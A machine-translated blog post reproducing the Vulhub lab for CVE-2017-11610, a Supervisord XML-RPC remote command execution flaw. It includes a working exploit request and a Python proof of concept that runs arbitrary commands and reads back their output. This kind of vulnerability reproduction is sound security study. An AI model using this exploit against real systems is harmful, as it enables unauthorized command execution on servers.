当前位置:网站首页>Vulhub vulnerability recurrence 67_ Supervisor
Vulhub vulnerability recurrence 67_ Supervisor
2022-07-06 05:16:00 【Revenge_ scan】
CVE-2017-11610_ Supervisord Remote command execution vulnerability
Preface
Supervisor(http://supervisord.org/) Yes, it is Python One developed client/server service , yes Linux/Unix A process management tool under the system , I won't support it Windows System . It's easy to monitor 、 start-up 、 stop it 、 Restart one or more processes .
Reference link :
- https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html
- https://blogs.securiteam.com/index.php/archives/3348
-https://github.com/Supervisor/supervisor/commit/90c5df80777bfec03d041740465027f83d22e27b
Vulnerability environment
shooting range :192.168.4.10_ubuntu
#docker-compose build
docker-compose up -d
After the environment starts , visit `http://your-ip:9001` You can view it Supervisord The page of .

Vulnerability testing
Execute arbitrary commands directly :
```
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
```

Container view success Create success

## About direct echo POC
@Ricter An idea put forward on Weibo , Very effective , Is to write the result of the command execution to log In file , Call again Supervisord Self contained readLog Method reading log file , Read the results .
Write a simple POC: [poc.py](poc.py), Post it directly :
```python
#!/usr/bin/env python3
import xmlrpc.client
import sys
target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
old = getattr(proxy, 'supervisor.readLog')(0,0)
logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
result = getattr(proxy, 'supervisor.readLog')(0,0)
print(result[len(old):])
```
Use Python3 Execute and get the results :`./poc.py "http://your-ip:9001/RPC2" "command"`:

边栏推荐
- The ECU of 21 Audi q5l 45tfsi brushes is upgraded to master special adjustment, and the horsepower is safely and stably increased to 305 horsepower
- MySQL time processing
- Cve-2019-11043 (PHP Remote Code Execution Vulnerability)
- UCF(暑期团队赛二)
- Three. JS learning - light and shadow (understanding)
- Summary of redis basic knowledge points
- [noip2009 popularization group] score line delimitation
- 你需要知道的 TCP 三次握手
- Extension of graph theory
- The underlying structure of five data types in redis
猜你喜欢
![[leetcode daily question] number of enclaves](/img/6e/1da0fa5c7d1489ba555e4791e2ac97.jpg)
[leetcode daily question] number of enclaves

Using stopwatch to count code time

The ECU of 21 Audi q5l 45tfsi brushes is upgraded to master special adjustment, and the horsepower is safely and stably increased to 305 horsepower

In 2022, we must enter the big factory as soon as possible

Postman manage test cases

What are the advantages of the industry private network over the public network? What specific requirements can be met?

Modbus协议通信异常

【OSPF 和 ISIS 在多路访问网络中对掩码的要求】

Basic knowledge and examples of binary tree

nacos-高可用seata之TC搭建(02)
随机推荐
Oracle deletes duplicate data, leaving only one
Postman test report
Sorting out the knowledge points of multicast and broadcasting
TCP three handshakes you need to know
2021 RoboCom 世界机器人开发者大赛-本科组(复赛)
In 2022, we must enter the big factory as soon as possible
Cuda11.1 online installation
JS quick start (II)
The ECU of 21 Audi q5l 45tfsi brushes is upgraded to master special adjustment, and the horsepower is safely and stably increased to 305 horsepower
集合详解之 Collection + 面试题
pix2pix:使用条件对抗网络的图像到图像转换
Acwing week 58
Postman manage test cases
指针经典笔试题
趋势前沿 | 达摩院语音 AI 最新技术大全
Promotion hung up! The leader said it wasn't my poor skills
[untitled]
指針經典筆試題
Biscuits (examination version)
Postman pre script - global variables and environment variables